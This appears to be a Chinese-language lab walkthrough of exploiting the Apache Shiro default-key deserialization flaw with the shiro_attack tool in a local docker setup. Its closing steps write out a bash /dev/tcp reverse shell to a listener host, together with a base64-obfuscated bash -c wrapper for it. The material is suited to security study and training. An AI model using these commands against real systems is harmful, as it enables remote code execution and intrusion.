shiro简介
shiro 是 java 的框架,分版本
shiro 框架:一个安全的用于管理 java 网站登录授权的框架
shiro 框架之所以安全:
是因为其传输过程 admin ---> 序列化 ---> aes 加密 ---> base64编码
最后攻击者只能拿到 base64 加密的密文,可以解密 base64,但若想解密aes则必须要有密钥,但由于 shiro 框架在传输过程中不传输密钥,故无法进行解密无法获得序列化后的字符串,也就无法利用反序列化漏洞
但为什么有 shiro 反序列化漏洞呢?
因为建好 shiro 框架后开发者出示了几个默认账密供登录,以表明可正常使用该框架,故而会有默认密钥,但运维人员并未删除默认密钥,故造成漏洞
漏洞利用条件
默认密钥
利用链
环境启动
Kali:192.168.2.235
win10:192.168.2.215
利用工具
shiro反序列化自动利用工具 --- shiro_attack-4.7.0-SNAPSHOT-all
PS:工具可从 github 下载,配置环境可参照上一篇所示,有具体步骤
漏洞复现
1. Kali 开启docker环境
sudo docker-compose up -d
2. 在shiro 工具路径下输入“cmd”,打开命令窗口
3. 在打开的cmd窗口键入以下命令,运行该工具的 jar 包
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
打开工具后,输入目标IP和端口,首先爆破密钥
找到密钥 key 后,需检测当前利用链,显示发现构造链后,需爆破利用链及回显
爆破成功后,方可在 “命令执行”中输入命令,验证是否成功得到回显信息,可看到下方输入命令“id”后,回显成功,故可尝试反弹shell
4. 首先在 win10 中利用 Yakit 开启监听,也可利用 NC 等监听工具
5. 监听完成后,输入反弹shell的命令,进行反弹,多次尝试,可以在百度搜索各类反弹shell,反弹shell 中的 IP和端口均为 win10 本机的
# 反弹shell
bash -i >& /dev/tcp/192.168.2.215/6666 0>&1
# 上述反弹shell经过base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjE1LzY2NjYgMD4mMQ==
# 将base64编码后的字段加入echo,后利用bash命令构成反弹
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjE1LzY2NjYgMD4mMQ==
}|{base64,-d}|{bash,-i}
6. 反弹 shell 执行成功后即可执行RCE